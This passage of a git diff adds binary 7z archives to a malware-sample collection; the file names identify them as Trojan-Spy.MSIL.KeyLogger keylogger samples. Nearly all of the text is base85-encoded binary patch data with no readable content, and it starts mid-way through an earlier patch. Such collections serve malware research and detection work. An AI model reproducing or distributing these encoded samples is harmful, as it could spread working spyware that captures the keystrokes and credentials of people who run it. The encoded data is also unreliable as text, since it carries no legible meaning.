zI|0+W&ye%X5IVbyt*4iU#($DqE8S~;Gs3P4W7Jmd3jnF$s<{40G6Dhf0shm|4t~?f zzrB2a|Nbw}K7a-g{@wue5is$!dLwD7Spd4h7cIa2IAR=@`u=wOJHTHb81QER{15K> z*W&~Ji87k#e^2?(J_Gdco5^oK&iCU3`r%yvLHRfD;r}1)|LW9({G0Y~k>*4E-z#PQ ziD>aTY8hAk0uTyf**`ADU+Zc9ycEy`zZ3m?bH~)KpzXtdJ43JOtzX1Lfr~9xF{t2N0QtWr8 z1ZMl^f8wvPzds`!(ESbJPm#cXLMoyAPe}ijk>LKqNc4=qBmLXcrTZuHS?FlLv($f@ z$X_E$f1Zfu-^u?Q=s&F4koSL@$v?U1e}-~q`MbmZPg4oY`-A?2_CNn8f3*z%OkaoV x|C^ooe}ekgZSK#g5PbhT)Q?T?pCG@E{C%QeA9Wl60Q|?>@uR5vg#Wjz{|6@nN$mgt literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cuw-b4.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cuw-b4.7z new file mode 100644 index 0000000000000000000000000000000000000000..46e599889493c2d0df059a730e9f717d79d18274 GIT binary patch literal 18051 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 literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cve.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cve.7z new file mode 100644 index 0000000000000000000000000000000000000000..0b22f18d1cbd0ba5139723807e019f5908587788 GIT binary patch literal 12332 zcmbVy19WA}x^8TDY}>YN+qP}nHahMk9d+!aV;d{B(H-+;@BPjjXP>+8eQ&&4W7eE& zRjvP@{z{BVm{qOGFg#Y@Zx|y@fXEP-+BmJKrVk$j& z7{yOa)KBS9e`30P-w4)*1OnI`_fQPQns4o2H6;`Bn{&_T&3#Kx+S`>w#*_;l@_BnI3wESlYJY$2c-uo?B} zb*Iy0w75XaSFO-tRJcfB+kzD-Q$w9A713Q3r_5a1Y`F?DYB6MmO`CRT}<&(HU6A~pE2OEY2#8fd-+Xa(GIPQ(`g^dZ3=W^m79c9>BUr!9)p;OT) zv*jT<+rJf&?E}6+KC3208X+&w+MA>E!fStO{f<0E>6)-Y*w*-}gUwDpVb zp>U7u@n=W|rGHDZBgnD-M#vPpwz&?8$)KHsonl#s%FJzYC2+%*_7&BzpdDmUJJhg0 z6MNR^*B$WLc6gXX6JDQo$0~a$u*Dc~jQW*rdJVttE3w%u0(bGTxP^sl8KTN%`{3K6 zk6odBVMaK5o>SM8DKW1B>447$5^Cx2#1FssE_wy>yoimd^U>|mbrt~Z{L_^y{qO-rb1V%-=-U?y%;xm!o? z3O|in3KuZP-$qSkI1RvXX)eA!)-MFgj<}(W?^NaSD($?~F!Z6+A z^@FXs!p|f)&RP(~8fI9zd^%&kRJ^)fTu1%1^jMOn0MQ`fM4EJJffQ*hMCj117@iE^ zZ#~-X^FbcIFy93TqRxZ{q`Gdsn-?8~SwtULsFn)Kp?r^$K%#|?YcX9+u@pN6X zkSS_47cbo!gQ`z%&#E-oe!zG2m3yj}VMD zAH+&XqNX@Ab>4hF(==FZxdmWp4T%faW0=HA;~-NP@AWyUG(1PYn`OD}x2YY}%?$X) zpOs?|THo4Il}>2@nnAz%tK}XQXDTHD!kmI!{gJ)tvU(RpI+tt}NnP?wD(NE>r$i*1 zGAW59Ef4)_vI2;HG=%3K>2{iB;6X~DE^F_ERBs9RF+Oo3^a~CD3WfJ`1B2wd`Oe%p z)3*(MEZV1Ha$e&vus@WW`@+NENQFN9=;Q%V7zQ${vzQ%9-RY4K=dBnZ&(fmDMf_$g z7)r3fdGSzsDJ4i18YEvEW-+v3q@hgtZ{{aQHl{DluN^7~h8G+M*>{Ch4U6$tBNKL< zp)w?Y!l-Xd9y3F7FA=&0>XCfKE8A@Rn2BS(#7E2mIUFV_IlVPR2uAkFi7YiP4PA0% z%ZDH@YN)5`2(~g}^NTF6L`8X5;e9lgd`!66ZY0{Fx!JCb2n|S!jF^Vll_4sL*SS%> zB@)tvsoZnt#RJ7tcJaqm9?$dCW-XCqEQy|u64{d75P#Y7D0A(^6g!q(^u#uHEz7uJ z4ZD!7-Rq0^tn~*65CPftLm{6v{cuRaT$b{Us_3b#FE1W4&wP`o_E*<3kG`pW|J#;| zUgIsk>nOR7flU|8NJF>LLvLTi?;VkHdenzrz~Axnx^&rm-WbYV-WfO}#MMz$wAin% z7*i;;H_lRyT(Ir?;MMbC7Pcep%RfKwLFS#fGtR{lV(f@HFmtHN1VA^c_c%_L;Z)$L_WOtqBlKh1EH2EciZ5y@{__FZV6A`=*9h=?qY|FM4( ziJqxdFa>foJ+7}M$uwmCB;&5AV8NgQu7oM{hZQ+E#Qt4=qeRD?_Ur5W-kT303CXqa zuo$@}k1H^$s2Chx0nqOq1bzXN_&ril4WOp>^g|DL7xz7fNf4ru`Hg)TS|d1EL6J<( zppQ!3wQg9!XkBch+ffPR!5O+hqmqvJS+P-0O`?w!g0{=_6YaARjX(!|N3?fgT4}VM zh7p5>(yzUvabHQJ7aKHbH0Vp#gbcSKAWCTW(GtJgQ-luopvg|(;Pvk+q3-B#X};J4 z$vIbXaT1#XGf}6nRw>^`?rp|9)rI;i!KchMt(~N0HtQP#pfX}H(av7UG-}nVndfM{ z!G$)cbrSc8rk4%7hL+(Gv~$6J|ata_F67^`kP`k02my)m}-})yIi<7s%lmo3)KtkIY;+9BL#VfvFhC=+1 zYV1s7RFWQ_2|t$=HC2Cr@Md zZ2|efd<$FlXFm;>F>UD5{`>DAMO3v1jH&hUvwpr?LC-c^AWlI!dR1h%7q3xkKlY~@ zo1`9KWoj=QsJrZvUMpF%6ZXt~@b~9z%ox+q25q)N$CqQ)FXB1SxiQ#xD{5)R_cbkz z&In@{%ZQCub+_}3)>?4riKc9;4-Gmov?IqT?MP7IMgdcVM0f#23}VHLynG?6Z=Q^0 z%<$^Z<1V$t7+9`_466@-(>OKWmb&2FB0ud~*@;Re6s75l(D|3xCam~GVuroxGoc}Bav1cNE_}Gb*d`7S z5S*Grb%iO-6!R3(FWfh5nf3G*OUzm}7b_1e>Wjzr?CDZElWIfQ4?ZNT@MQ%$DH-J| z<_F~tn`pW>{#Mk#ExEILx@pc!-V)L(tFfJDqH$2ib-dp01YOvRy(kfty%Y+DowhRt z2dw9s%01apoSzns&e$Jb?sMN&n;Upe>nJ8R{nj`9Y_|a^8RNeAwrL5&V7k)RxXC`E z&I*Z(0z_2_Bd1?TKPX5)BKJM$JIt}YZ1Eu@3g-IuvW@QN=>oS*=vls-5Ba_)X7iLy z@te-g_FCKJ0nKJkc^b{=tFnkg`+c-@}YO~WwoRvl$&Dk!Jf zwOdicLXO3w=<$hLVDI4TnHMY{)7dVM;D5XrJ|lft&cDr*w(^aRLYv|!P;V3Xwx!7I zUaxQ7tWeb~{0v%NYOzSoO;`$i3&2#)9d}Pk(ama3aoc?I=MgX|F!;M-yrN%!+eHEb zikAig`Xfw|6;rjemiGA6i5Ivh&c9i&1z0*mC|P1bE2VNf6vK7tq~_V}=57n&_Ew~K zhw4Kvbj>`O{jViEL10OMy-5nY5f8aLN8Plg{$E*FA z&BZ!3E;ky@HX>QPs^@cf6n5m`QK9+Z)u}$}7b1qO+KV(rGrwF6T;m z&k&nTyR4@5wcbuM8TCfL(=gFfp})4boT_)Su6E5+ZpU@grl{~#PyRKiyw{pls}Ubl zs{Ol_zG-cEQoK0PCe`Ihxv`UjaZXOm-Eic~06|dfxnf@&?t^n85~J8VsB0Pzq)JDWw#D`- 